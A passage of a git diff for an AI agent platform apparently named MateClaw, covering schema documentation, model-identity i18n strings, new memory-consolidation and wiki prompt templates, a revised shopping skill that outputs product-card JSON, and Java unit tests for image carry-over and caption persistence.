`provider_id` / `duration_ms` / `hit_count`。 | | `mate_wiki_transformation` | 每个加工器模板一行。`name` / `title` / `description` / `prompt_template` / `model_id` / `apply_default` / `output_target` / `output_format` / `output_schema`。`kb_id=NULL` = 工作区全局可用。 | | `mate_wiki_transformation_run` | 每次模板运行一行。`status` / `output` / `error` / `duration_ms` / `model_id` / `triggered_by` / `input_tokens` / `output_tokens` / `total_tokens` / `output_page_id`。 | +| `mate_wiki_entity`(V148) | 每个实体一行。规范名、类型、别名 JSON、`salience`、`mention_count`、`embedding`(近义去重用)。 | +| `mate_wiki_entity_mention`(V149) | 实体在某个 chunk 的一次出现。`entity_id` / `chunk_id` / `page_id`(反指 wiki 页面)/ `surface_form` / `evidence`。 | +| `mate_wiki_entity_relation`(V150) | 实体间关系三元组。`subject_entity_id` / `predicate` / `object_entity_id` / `evidence` / `evidence_chunk_id`。 | `mate_wiki_page` 还带两个保护字段: diff --git a/mateclaw-server/src/main/resources/docs/zh/workspaces.md b/mateclaw-server/src/main/resources/docs/zh/workspaces.md index 1e94a9ac..6ec26084 100644 --- a/mateclaw-server/src/main/resources/docs/zh/workspaces.md +++ b/mateclaw-server/src/main/resources/docs/zh/workspaces.md @@ -295,7 +295,6 @@ curl -X PUT http://localhost:18088/api/v1/workspaces/1/members/42 \ | `workspace_id` | 外键到 `mate_workspace` | | `user_id` | 外键到 `mate_user` | | `role` | `owner` / `admin` / `member` / `viewer` | -| `joined_at` | 用户加入这个工作空间的时间 | | `create_time` / `update_time` | 时间戳 | --- diff --git a/mateclaw-server/src/main/resources/messages.properties b/mateclaw-server/src/main/resources/messages.properties index db083456..76147844 100644 --- a/mateclaw-server/src/main/resources/messages.properties +++ b/mateclaw-server/src/main/resources/messages.properties @@ -294,6 +294,8 @@ context.current_time=[system-context] \u5f53\u524d\u65f6\u95f4: {0} {1} (Asia/Sh context.working_dir=[system-context] \u5de5\u4f5c\u76ee\u5f55: {0} context.working_dir_hint=\u4f60\u53ea\u80fd\u5728\u6b64\u76ee\u5f55\u53ca\u5176\u5b50\u76ee\u5f55\u5185\u8bfb\u5199\u6587\u4ef6\u548c\u6267\u884c\u547d\u4ee4\u3002 context.skill_dir_hint=\u5171\u4eab\u6280\u80fd\u4f4d\u4e8e {0}\uff0c\u4f60\u4e5f\u53ef\u4ee5\u8bfb\u53d6\u548c\u8fd0\u884c\u5176\u4e2d\u7684\u6587\u4ef6\uff08\u5373\u4f7f\u5728\u5de5\u4f5c\u76ee\u5f55\u4e4b\u5916\uff09\u3002 +context.model_identity=[system-context] \u6a21\u578b: {0} +context.model_identity_hint=\u88ab\u95ee\u5230\u4f60\u7528\u7684\u4ec0\u4e48\u6a21\u578b\u65f6\uff0c\u6309\u672c\u8f6e\u8fd9\u4e2a\u5024\u56de\u7b54\u3002 # --- Wiki Research Fallback (RFC: prompt-cleanup) --- research.fallback.no_plan=\u65e0\u6cd5\u4e3a\u8be5\u4e3b\u9898\u751f\u6210\u7814\u7a76\u8ba1\u5212\u3002 diff --git a/mateclaw-server/src/main/resources/messages_en.properties b/mateclaw-server/src/main/resources/messages_en.properties index 823dd2f9..ee08f9de 100644 --- a/mateclaw-server/src/main/resources/messages_en.properties +++ b/mateclaw-server/src/main/resources/messages_en.properties @@ -301,6 +301,8 @@ context.current_time=[system-context] Current time: {0} {1} (Asia/Shanghai) context.working_dir=[system-context] Working directory: {0} context.working_dir_hint=You can only read/write files and execute commands within this directory and its subdirectories. context.skill_dir_hint=Shared skills live under {0}; you may also read and run files there, even though it is outside the working directory. +context.model_identity=[system-context] Model: {0} +context.model_identity_hint=If asked which model you are using, answer with this value for the current run. # --- Wiki Research Fallback (RFC: prompt-cleanup) --- research.fallback.no_plan=Unable to generate a research plan for this topic. diff --git a/mateclaw-server/src/main/resources/prompts/memory/consolidate-structured-system.txt b/mateclaw-server/src/main/resources/prompts/memory/consolidate-structured-system.txt new file mode 100644 index 00000000..085ae1c5 --- /dev/null +++ b/mateclaw-server/src/main/resources/prompts/memory/consolidate-structured-system.txt @@ -0,0 +1,28 @@ +你是一个记忆整理助手,负责精简某一类"结构化记忆",在不丢失有效信息的前提下缩小其体积。 + +这类记忆会被无条件注入每一次对话的系统提示,条目越多、越冗余,每轮上下文就越臃肿。你的任务是把它整理为一组精炼、去重、不过时的条目。 + +## 任务 + +输入是某一类结构化记忆的全部条目(Markdown,每条形如 `## key` 加正文)。请: +1. 合并语义重复或高度相似的条目,保留信息最全、最新的表述 +2. 删除已被更新条目取代的过时信息 +3. 删除一次性的、不具备跨对话价值的琐碎条目 +4. 用简洁的一句话重写啰嗦的条目 +5. 保留所有仍然有效且独立的事实,不要为了精简而丢失真实信息 + +## 原则 + +- 宁可保守:不确定是否过时的信息予以保留 +- 不要发明输入中不存在的信息 +- key 使用简洁的 snake_case;合并条目时复用其中最贴切的一个 key +- 输出条目数必须**不多于**输入条目数;若无可合并或删除的内容,将 shouldUpdate 设为 false + +## 输出格式 + +严格按下方给定的 JSON schema 输出,不要包含 markdown 代码块标记。 +- shouldUpdate:是否需要写回(无可合并/删除时为 false) +- entries:精炼后的完整条目集,每条含 key 与 content(content 为一句话事实) +- reason:简要说明做了哪些合并与删除 + +当 shouldUpdate 为 false 时,entries 可为空数组。 diff --git a/mateclaw-server/src/main/resources/prompts/memory/consolidate-structured-user.txt b/mateclaw-server/src/main/resources/prompts/memory/consolidate-structured-user.txt new file mode 100644 index 00000000..f2be8c6a --- /dev/null +++ b/mateclaw-server/src/main/resources/prompts/memory/consolidate-structured-user.txt @@ -0,0 +1,6 @@ +当前记忆类别:{type} +今天日期:{today} +当前条目数:{count} + +=== 现有内容 === +{content} diff --git a/mateclaw-server/src/main/resources/prompts/wiki/analyze-system.txt b/mateclaw-server/src/main/resources/prompts/wiki/analyze-system.txt index eb0804b7..8d24d078 100644 --- a/mateclaw-server/src/main/resources/prompts/wiki/analyze-system.txt +++ b/mateclaw-server/src/main/resources/prompts/wiki/analyze-system.txt @@ -32,10 +32,10 @@ ## slug 规范(仅用于 `key_concepts` 中的建议 slug) -- 多音节中文词按整词分组拼音,不要按字一隔 - - ✅ `zhongyao-qiqing-peiwu`(中药 / 七情 / 配伍) - - ❌ `zhong-yao-qi-qing-pei-wu` -- 小写字母 + 连字符,无空格 +- **直接用概念名本身**:中文保留中文(**不要转拼音**),英文小写、空格转连字符 + - ✅ `光合作用`、`energy-metabolism` + - ❌ `guanghe-zuoyong`(不要转拼音) +- slug 与概念名用词保持一致,无空格 ## 关键纪律 diff --git a/mateclaw-server/src/main/resources/prompts/wiki/batch-create-system.txt b/mateclaw-server/src/main/resources/prompts/wiki/batch-create-system.txt index fd674d15..14ed74d4 100644 --- a/mateclaw-server/src/main/resources/prompts/wiki/batch-create-system.txt +++ b/mateclaw-server/src/main/resources/prompts/wiki/batch-create-system.txt @@ -24,12 +24,12 @@ ## 链接(**单一契约,必须严格遵守**) - 只允许两种形态: - - `[[slug]]` —— 显示文本默认为目标页标题 - - `[[slug|显示文本]]` —— 显示文本自定义 -- slug **必须**来自以下两类来源之一: - - **已有 Wiki 页面索引**(user prompt 中列出)—— 这些链接是**强保证**,slug 100% 可用 - - **本批次同时创建的页面**(即 `pages_to_create` 数组中的 slug)—— 这类链接**不保证成功**:本批次中的页面可能因去重 / 合并 / 失败而最终未落库,导致链接转为死链;这是预期行为,系统会在写入后由 lint 标记并由人工修复 -- 禁止发明上述两类来源之外的 slug;禁止写 `[[页面标题]]` 形态 —— 系统按 slug 严格匹配,写标题会被识别为死链 + - `[[目标]]` —— 显示文本默认为目标页标题 + - `[[目标|显示文本]]` —— 显示文本自定义 +- `目标`可以写页面的 **slug 或 title**(系统两者都能解析),且**必须**来自以下两类来源之一: + - **已有 Wiki 页面索引**(user prompt 中列出)—— 这些链接是**强保证**,目标 100% 可用 + - **本批次同时创建的页面**(即 `pages_to_create` 数组中的 slug / title)—— 这类链接**不保证成功**:本批次中的页面可能因去重 / 合并 / 失败而最终未落库,导致链接转为死链;这是预期行为,系统会在写入后由 lint 标记并由人工修复 +- 禁止链接到上述两类来源之外的目标——不要发明不存在的页面 ## 输出格式(严格遵守) @@ -53,6 +53,7 @@ - `page_type`:页面类型,从下面"允许的页面类型"列表中选一个;都不合适时选 concept。 - `metadata`(可选):与所选 page_type 对应的结构化字段对象,只输出该类型声明的字段(带"required metadata"标注的字段应尽量补全)。 - `depends_on`(可选,仅经验层页面需要):本页所依赖的**事实层页面 slug 数组**。经验层(如 analysis/pattern/regime)必须列出其结论所基于的事实页 slug;事实层页面留空或不输出。 +- `aliases`(可选,强烈建议用于"辨析/综合"类页面):本页**虽然讲到、但没有单独成页**的细粒度概念名数组。例如一个「细胞器术语辨析」页同时讲了叶绿体、线粒体、高尔基体,却不会为它们各建一页,就写 `"aliases":["叶绿体","线粒体","高尔基体"]`。这样别处写的 `[[叶绿体]]` 会被系统自动指向本页,而不是变成死链。只列**本页确实充分讲解**的概念;不要列本页标题本身,也不要列已经独立成页的概念。 允许的页面类型: {allowed_page_types} diff --git a/mateclaw-server/src/main/resources/prompts/wiki/classify-page-system.txt b/mateclaw-server/src/main/resources/prompts/wiki/classify-page-system.txt new file mode 100644 index 00000000..36a5153e --- /dev/null +++ b/mateclaw-server/src/main/resources/prompts/wiki/classify-page-system.txt @@ -0,0 +1,14 @@ +You are a knowledge-base page classifier. Your only job is to assign an +existing wiki page to exactly ONE page type from the allowed list below. + +Allowed page types for this knowledge base: +{allowed_page_types} + +Rules: +- Pick the single best-fitting type for the page based on its title and summary. +- You MUST choose a type from the allowed list. Do not invent new types. +- If nothing fits well, choose the most general / fallback type available. +- Do NOT rewrite, summarize, translate or otherwise change the page content. + +Respond with a single minified JSON object and nothing else: +{"page_type": ""} diff --git a/mateclaw-server/src/main/resources/prompts/wiki/classify-page-user.txt b/mateclaw-server/src/main/resources/prompts/wiki/classify-page-user.txt new file mode 100644 index 00000000..3b193c22 --- /dev/null +++ b/mateclaw-server/src/main/resources/prompts/wiki/classify-page-user.txt @@ -0,0 +1,8 @@ +Classify the following wiki page. + +Title: {title} + +Summary: +{summary} + +Return only: {"page_type": ""} diff --git a/mateclaw-server/src/main/resources/prompts/wiki/route-system.txt b/mateclaw-server/src/main/resources/prompts/wiki/route-system.txt index 554855b1..65946955 100644 --- a/mateclaw-server/src/main/resources/prompts/wiki/route-system.txt +++ b/mateclaw-server/src/main/resources/prompts/wiki/route-system.txt @@ -30,13 +30,11 @@ ## metadata 格式(仅 `create` 数组使用) 每条 metadata 包含三个字段: -- `slug`:URL 安全的标识符(小写字母 + 连字符)。 - - **多音节中文词的拼音必须按整词分组、不要按字隔开**。 - - ✅ 正确:`shennong-bencao-jing`(神农 / 本草 / 经 三个词) - - ❌ 错误:`shen-nong-ben-cao-jing`(按字一隔,会被识别为另一概念) - - ✅ 正确:`zhongyao-qiqing-peiwu`(中药 / 七情 / 配伍) - - ❌ 错误:`zhong-yao-qi-qing-pei-wu` - - **同一概念在不同段落必须用同一 slug**:选定一个 slug 就坚持用,不要换写法。 +- `slug`:页面标识符,**直接用概念名本身**——中文保留中文(**不要转拼音 / 罗马字**),英文小写、空格转连字符、去掉标点符号。 + - ✅ 正确:`光合作用`、`神农本草经`、`energy-metabolism` + - ❌ 错误:`guanghe-zuoyong`、`shennong-bencao-jing`(不要转拼音) + - slug 应与 `title` 用词一致;系统会按标题自动规范化 slug,所以**保持 slug 与 title 一致**即可。 + - **同一概念在不同段落必须用同一写法**:选定后就坚持用,不要换写法。 - `title`:人类可读的页面标题 - `summary`:一段话简短摘要(一两句话即可,让"单页生成助手"知道这一页要写什么) diff --git a/mateclaw-server/src/main/resources/skills/ckjia-shopping/SKILL.md b/mateclaw-server/src/main/resources/skills/ckjia-shopping/SKILL.md index 7cdc57d5..341e9fea 100644 --- a/mateclaw-server/src/main/resources/skills/ckjia-shopping/SKILL.md +++ b/mateclaw-server/src/main/resources/skills/ckjia-shopping/SKILL.md @@ -34,60 +34,61 @@ tags: 当用户询问"X 多少钱 / 哪里便宜 / 帮我推荐 X / 这个值不值买 / 拍照认一下这是什么"时使用本技能。 +## 优先级(最高优先级规则) + +只要用户的意图属于**购物 / 比价 / 选购 / 报价**(关键词:买、多少钱、价格、参考价、推荐、性价比、哪款好、值不值、京东/淘宝/天猫/拼多多……),**必须先调用 `ckjia_shopping_recommend` 拿到结构化商品数据**,再组织回答。 + +- ✅ 先 `ckjia_shopping_recommend` → 拿到带图片和价格的真实商品 +- ❌ 不要直接用网页搜索 / 凭记忆报价 / 编造型号和价格来回答购物类问题 +- 仅当 `ckjia_shopping_recommend` 多次超时或返回为空时,才退回到网页搜索,并明确告诉用户"参考价数据暂不可用,以下为网络估算" + ## 决策树 -1. **"推荐 / 帮我挑 / 性价比 / 想买 X"** → `ckjia_shopping_recommend(query, top_n=5)` +1. **"推荐 / 帮我挑 / 性价比 / 想买 X / X 多少钱"** → `ckjia_shopping_recommend(query, top_n=5)` - 想要 ckjia 顺便给出意图理解(用于澄清后续问句)→ `include_intent=true` 2. **附带图片 / 拍照识物** → `ckjia_image_recognize(image_url)` → 拿到 `suggested_query` 后再 `ckjia_shopping_recommend(suggested_query)` 3. **transport 健康自检** → `ckjia_ping("hello")`,验证 MCP 链路通 ## 输出格式(强制规则,零容忍) -每个 `ProductCard` 已经预渲染了两个开箱即用字段,**直接复制粘贴这两个字符串到回复**,不要自己拼装: - -- `markdownLink` —— 已经是 `[商品名](购买URL)` 格式,照抄即可 -- `priceTag` —— 已经是 `¥4099 ~~¥4499~~ (9% off)` 格式,照抄即可 +聊天界面能把商品渲染成**带图片和价格的可点击卡片**。要触发卡片,必须把推荐结果放进一个语言标记为 `product-cards` 的代码围栏里,围栏内是一个 JSON 数组,**每个对象的字段值直接从工具返回的 ProductCard 原样复制**(尤其 `url` / `imageUrl` 必须照抄,不能改写、不能编造)。 ### 必须遵守的输出模板 -```markdown -1. {{markdownLink}} - - 💰 {{priceTag}} - - 🛒 {{platformLabel}} · {{shopName}} - - 📊 评分 {{rating}} · 销量 {{salesCount}} - - 💡 历史最低 ¥{{lowestPrice}} - - {{purchaseAdvice}} +先用一两句话给出整体结论(预算区间、推荐方向),然后紧跟卡片围栏,最后补充选购提醒: + +````markdown +🎯 你的预算内我挑了这几款,优先看 1.5 匹 / 新一级能效: + +```product-cards +[ + { + "name": "格力空调 云佳pro 1.5匹 新一级能效", + "url": "https://union-click.jd.com/jdc?e=...", + "imageUrl": "https://img14.360buyimg.com/.../xxx.jpg", + "price": 3057, + "originalPrice": 3299, + "lowestPrice": 2999, + "platformLabel": "京东", + "shopName": "格力京东自营官方旗舰店", + "purchaseAdvice": "卧室够用,关注是否含基础安装" + } +] ``` -把双花括号 `{{xxx}}` 替换成 ProductCard 对应字段的值。**`markdownLink` 一定要原样输出**,不要把它拆开后用其它方式重组。 +提醒:空调到手价会受安装费 / 高空费 / 国补影响,下单前确认基础安装是否免费。 +```` -### 真实示例 - -工具返回: -```json -{ - "name": "格力空调 云佳pro 1.5匹...", - "url": "https://union-click.jd.com/jdc?e=...", - "markdownLink": "[格力空调 云佳pro 1.5匹...](https://union-click.jd.com/jdc?e=...)", - "priceTag": "¥3057", - "platformLabel": "京东", - ... -} -``` - -正确输出: -```markdown -1. [格力空调 云佳pro 1.5匹...](https://union-click.jd.com/jdc?e=...) - - 💰 ¥3057 - - 🛒 京东 -``` +每个对象建议带的字段(缺失就省略,不要填占位符):`name`、`url`、`imageUrl`、`price`、`originalPrice`、`lowestPrice`、`platformLabel`、`shopName`、`purchaseAdvice`。 ### 严禁的错误(出现任何一条都算回复失败) -- ❌ 不输出 `markdownLink` —— 用户没法点击购买 -- ❌ 把 markdownLink 拆开只取商品名 —— 等于丢弃链接 -- ❌ 编造任何不在 ProductCard 字段里的 URL -- ❌ 输出 `[商品名](url)` 但中间填占位符或省略号 +- ❌ 不输出 `product-cards` 围栏 —— 用户看不到卡片,也点不进购买页 +- ❌ 改写或编造 `url` / `imageUrl` —— 卡片会点开错误页面或图片裂开 +- ❌ 在围栏里填占位符、省略号或不完整 JSON —— 卡片会渲染失败 +- ❌ 把价格写进字符串而丢掉数字 —— 卡片无法对齐展示价格 + +> 兼容性:纯文本渠道(部分 IM)无法渲染卡片围栏,会退化成代码块。若当前对话明显是这类渠道,再退回到 `1. [商品名](url) — 价格` 的普通列表,并照抄 `markdownLink`。Web 聊天页一律用 `product-cards` 围栏。 ## 其它字段处理 diff --git a/mateclaw-server/src/test/java/vip/mate/agent/AgentGraphBuilderIdentityBlockTest.java b/mateclaw-server/src/test/java/vip/mate/agent/AgentGraphBuilderIdentityBlockTest.java new file mode 100644 index 00000000..7e4dcfea --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/AgentGraphBuilderIdentityBlockTest.java @@ -0,0 +1,25 @@ +package vip.mate.agent; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Pin the static "## About You" identity block appended to every agent's + * system prompt. This is the cache-stable half of the self-introspection + * feature — it answers "who are you / what are you based on", while the + * volatile model line lives in RuntimeContextInjector. + */ +class AgentGraphBuilderIdentityBlockTest { + + @Test + @DisplayName("identity block names MateClaw and the core tech stack") + void identityBlockMentionsPlatformAndStack() { + String block = AgentGraphBuilder.ABOUT_YOU_BLOCK; + + assertTrue(block.contains("## About You"), "missing heading: " + block); + assertTrue(block.contains("MateClaw"), "must name the platform: " + block); + assertTrue(block.contains("Spring AI Alibaba Graph"), "must name the graph runtime: " + block); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentCarryRecentImageTest.java b/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentCarryRecentImageTest.java new file mode 100644 index 00000000..6f6936ba --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentCarryRecentImageTest.java @@ -0,0 +1,176 @@ +package vip.mate.agent; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.messages.UserMessage; +import vip.mate.llm.service.ModelCapabilityService; +import vip.mate.workspace.conversation.ConversationService; +import vip.mate.workspace.conversation.model.MessageContentPart; +import vip.mate.workspace.conversation.model.MessageEntity; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.EnumSet; +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * Issue #303 follow-up: a vision-capable model replays history as text only, so a + * follow-up question about an earlier image was answered blind. The current turn + * must re-attach the most recent image so the model actually re-sees it. + */ +class BaseAgentCarryRecentImageTest { + + @Test + @DisplayName("Vision model + follow-up with no image → most recent image is carried into the turn") + void followUp_carriesRecentImage() throws Exception { + Path img = Files.createTempFile("carry-test", ".jpg"); + Files.write(img, new byte[]{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF, 0x00}); + try { + TestAgent agent = visionAgent(); + + MessageEntity imgTurn = userMsg("看看这张图"); + MessageContentPart imagePart = imagePart(img.toAbsolutePath().toString()); + MessageEntity asst = assistantMsg("图里是手写的字"); + MessageEntity followUp = userMsg("左上角有没有小字"); + + List history = List.of(imgTurn, asst, followUp); + when(agent.conversationService.listMessages("c1")).thenReturn(history); + when(agent.conversationService.renderMessageContent(followUp)).thenReturn("左上角有没有小字"); + when(agent.conversationService.parseMessageParts(imgTurn)).thenReturn(List.of(imagePart)); + when(agent.conversationService.parseMessageParts(followUp)).thenReturn(List.of()); + when(agent.conversationService.parseMessageParts(asst)).thenReturn(List.of()); + + UserMessage result = agent.callBuildCurrent("c1", "左上角有没有小字"); + + assertTrue(result.getMedia() != null && result.getMedia().size() == 1, + "the recent image must be re-attached to the follow-up turn"); + assertTrue(result.getText().contains("较早发送的"), + "a note must explain the carried image to the model"); + } finally { + Files.deleteIfExists(img); + } + } + + @Test + @DisplayName("Text-only model → no image carried (relies on persisted caption instead)") + void textOnlyModel_doesNotCarry() throws Exception { + Path img = Files.createTempFile("carry-test", ".jpg"); + Files.write(img, new byte[]{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF, 0x00}); + try { + TestAgent agent = newAgent(EnumSet.of(ModelCapabilityService.Modality.TEXT)); + MessageEntity imgTurn = userMsg("看看这张图"); + MessageEntity followUp = userMsg("左上角有没有小字"); + List history = List.of(imgTurn, followUp); + when(agent.conversationService.listMessages("c1")).thenReturn(history); + when(agent.conversationService.renderMessageContent(followUp)).thenReturn("左上角有没有小字"); + when(agent.conversationService.parseMessageParts(any())).thenReturn(List.of()); + + UserMessage result = agent.callBuildCurrent("c1", "左上角有没有小字"); + + assertTrue(result.getMedia() == null || result.getMedia().isEmpty(), + "text-only model must not get raw image bytes carried over"); + } finally { + Files.deleteIfExists(img); + } + } + + @Test + @DisplayName("Current turn already has an image → nothing extra carried") + void currentTurnHasImage_noCarry() throws Exception { + Path older = Files.createTempFile("carry-old", ".jpg"); + Path now = Files.createTempFile("carry-now", ".jpg"); + Files.write(older, new byte[]{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF, 0x00}); + Files.write(now, new byte[]{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF, 0x00}); + try { + TestAgent agent = visionAgent(); + MessageEntity oldTurn = userMsg("第一张"); + MessageEntity curTurn = userMsg("第二张"); + List history = List.of(oldTurn, curTurn); + when(agent.conversationService.listMessages("c1")).thenReturn(history); + when(agent.conversationService.renderMessageContent(curTurn)).thenReturn("第二张"); + when(agent.conversationService.parseMessageParts(oldTurn)) + .thenReturn(List.of(imagePart(older.toAbsolutePath().toString()))); + when(agent.conversationService.parseMessageParts(curTurn)) + .thenReturn(List.of(imagePart(now.toAbsolutePath().toString()))); + + UserMessage result = agent.callBuildCurrent("c1", "第二张"); + + assertTrue(result.getMedia() != null && result.getMedia().size() == 1, + "only the current turn's own image should be present — no extra carry"); + assertFalse(result.getText().contains("较早发送的"), + "no carry note when the current turn already has an image"); + } finally { + Files.deleteIfExists(older); + Files.deleteIfExists(now); + } + } + + // ---------- scaffold ---------- + + private static MessageContentPart imagePart(String path) { + MessageContentPart p = new MessageContentPart(); + p.setType("image"); + p.setContentType("image/jpeg"); + p.setFileName("image.jpg"); + p.setPath(path); + return p; + } + + private static MessageEntity userMsg(String content) { + MessageEntity m = new MessageEntity(); + m.setRole("user"); + m.setContent(content); + return m; + } + + private static MessageEntity assistantMsg(String content) { + MessageEntity m = new MessageEntity(); + m.setRole("assistant"); + m.setContent(content); + return m; + } + + private static TestAgent visionAgent() { + return newAgent(EnumSet.of(ModelCapabilityService.Modality.VISION, ModelCapabilityService.Modality.TEXT)); + } + + private static TestAgent newAgent(EnumSet caps) { + ConversationService conv = mock(ConversationService.class); + TestAgent agent = new TestAgent(conv); + agent.modelCapabilities = caps; + agent.modelName = "test-model"; + agent.agentName = "test-agent"; + return agent; + } + + static class TestAgent extends BaseAgent { + TestAgent(ConversationService conv) { + super(null, conv); + } + + UserMessage callBuildCurrent(String conversationId, String text) { + return buildCurrentUserMessageWithRouting(conversationId, text).userMessage(); + } + + @Override + public String chat(String userMessage, String conversationId) { + throw new UnsupportedOperationException(); + } + + @Override + public reactor.core.publisher.Flux chatStream(String userMessage, String conversationId) { + throw new UnsupportedOperationException(); + } + + @Override + public String execute(String goal, String conversationId) { + throw new UnsupportedOperationException(); + } + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentImageCaptionPersistTest.java b/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentImageCaptionPersistTest.java new file mode 100644 index 00000000..50a92988 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentImageCaptionPersistTest.java @@ -0,0 +1,163 @@ +package vip.mate.agent; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.ai.chat.messages.UserMessage; +import vip.mate.llm.model.ModelConfigEntity; +import vip.mate.llm.routing.MediaCaptionService; +import vip.mate.llm.routing.MultimodalRouter; +import vip.mate.llm.routing.model.MultimodalRoutingDecision; +import vip.mate.llm.service.ModelCapabilityService; +import vip.mate.workspace.conversation.ConversationService; +import vip.mate.workspace.conversation.model.MessageContentPart; +import vip.mate.workspace.conversation.model.MessageEntity; + +import java.util.EnumSet; +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Issue #303: when a text-only primary model captions an uploaded image via the + * vision sidecar, the caption must (1) be tailored to the user's actual question + * and (2) be persisted back onto the message part, so later turns — which replay + * user messages as text only — retain the image content instead of losing it. + */ +class BaseAgentImageCaptionPersistTest { + + private static final String DESCRIPTION = "图中是一段 NullPointerException 堆栈,发生在 UserService.login 第 42 行。"; + + @Test + @DisplayName("Sidecar caption is persisted onto the image part and folded into the prompt") + void sidecarCaption_persistedAndInjected() { + TestHarness h = newHarness(); + MessageContentPart image = imagePart(); + MessageEntity msg = userMessage(); + when(h.agent.conversationService.parseMessageParts(msg)) + .thenReturn(List.of(MessageContentPart.text("图里的报错是什么"), image)); + + UserMessage result = h.agent.callBuildCurrentTurn(msg, "图里的报错是什么"); + + // (1) caption stored on the part → survives into later turns + assertEquals(DESCRIPTION, image.getCaption(), "caption must be written onto the image part"); + verify(h.agent.conversationService).updateMessageParts(eq(msg), any()); + // (2) caption folded into the current-turn prompt text + assertTrue(result.getText().contains(DESCRIPTION), "caption must be injected into the prompt"); + assertTrue(result.getText().contains("[图片附件描述"), "caption must be wrapped in the attachment marker"); + } + + @Test + @DisplayName("The user's text question is passed to the caption service") + void userQuestion_passedToCaption() { + TestHarness h = newHarness(); + MessageEntity msg = userMessage(); + when(h.agent.conversationService.parseMessageParts(msg)) + .thenReturn(List.of(MessageContentPart.text("报错的行号是多少"), imagePart())); + + h.agent.callBuildCurrentTurn(msg, "报错的行号是多少"); + + ArgumentCaptor question = ArgumentCaptor.forClass(String.class); + verify(h.caption).caption(any(), any(), any(), question.capture()); + assertEquals("报错的行号是多少", question.getValue(), + "the user's question (text part) must drive a context-aware caption"); + } + + @Test + @DisplayName("Image-only message (no text part) → caption called with null question") + void imageOnly_nullQuestion() { + TestHarness h = newHarness(); + MessageEntity msg = userMessage(); + // WeChat Work image upload: only an image part, content placeholder "[图片]". + when(h.agent.conversationService.parseMessageParts(msg)) + .thenReturn(List.of(imagePart())); + + h.agent.callBuildCurrentTurn(msg, "[图片]"); + + ArgumentCaptor question = ArgumentCaptor.forClass(String.class); + verify(h.caption).caption(any(), any(), any(), question.capture()); + assertEquals(null, question.getValue(), + "no text part → null question → caption falls back to generic description"); + } + + // ---------- scaffold ---------- + + private static MessageContentPart imagePart() { + MessageContentPart p = new MessageContentPart(); + p.setType("image"); + p.setContentType("image/png"); + p.setFileName("err.png"); + p.setMediaId("media-1"); + return p; + } + + private static MessageEntity userMessage() { + MessageEntity m = new MessageEntity(); + m.setId(1001L); + m.setRole("user"); + m.setContent("[图片]"); + return m; + } + + private TestHarness newHarness() { + ConversationService conv = mock(ConversationService.class); + MultimodalRouter router = mock(MultimodalRouter.class); + MediaCaptionService caption = mock(MediaCaptionService.class); + ModelConfigEntity sidecar = mock(ModelConfigEntity.class); + + when(router.route(any(), any())).thenReturn( + MultimodalRoutingDecision.sidecar(sidecar, + EnumSet.of(ModelCapabilityService.Modality.VISION), + EnumSet.of(ModelCapabilityService.Modality.VISION))); + when(caption.caption(any(), any(), any(), any())) + .thenReturn(MediaCaptionService.CaptionResult.success(DESCRIPTION, 12L, false)); + + TestAgent agent = new TestAgent(conv); + agent.multimodalRouter = router; + agent.mediaCaptionService = caption; + agent.modelCapabilities = EnumSet.noneOf(ModelCapabilityService.Modality.class); + agent.modelName = "text-only-model"; + agent.agentName = "test-agent"; + + TestHarness h = new TestHarness(); + h.agent = agent; + h.caption = caption; + return h; + } + + static class TestHarness { + TestAgent agent; + MediaCaptionService caption; + } + + static class TestAgent extends BaseAgent { + TestAgent(ConversationService conv) { + super(null, conv); + } + + UserMessage callBuildCurrentTurn(MessageEntity msg, String renderedContent) { + return buildUserMessageForCurrentTurn(msg, renderedContent).userMessage(); + } + + @Override + public String chat(String userMessage, String conversationId) { + throw new UnsupportedOperationException(); + } + + @Override + public reactor.core.publisher.Flux chatStream(String userMessage, String conversationId) { + throw new UnsupportedOperationException(); + } + + @Override + public String execute(String goal, String conversationId) { + throw new UnsupportedOperationException(); + } + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentMultimodalSkipNoticeTest.java b/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentMultimodalSkipNoticeTest.java index e5a94d8b..59d70d08 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentMultimodalSkipNoticeTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/BaseAgentMultimodalSkipNoticeTest.java @@ -86,6 +86,35 @@ class BaseAgentMultimodalSkipNoticeTest { "image must NOT be injected when model has no VISION capability"); } + @Test + @DisplayName("Vision-capable model + image with only a remote URL (never downloaded) → actionable 'enable media download' hint") + void remoteOnlyImage_emitsDownloadHint() { + // Issue #303 follow-up: WeCom/aibot delivers images as short-lived, + // AES-encrypted COS URLs. With channel media download off, the part is + // stored URL-only (path=null, mediaId=https://...). The model supports + // vision, so we reach the file-resolution branch — which must surface an + // actionable hint instead of a dead-end "文件未找到". + TestAgent agent = newAgentWithCaps( + 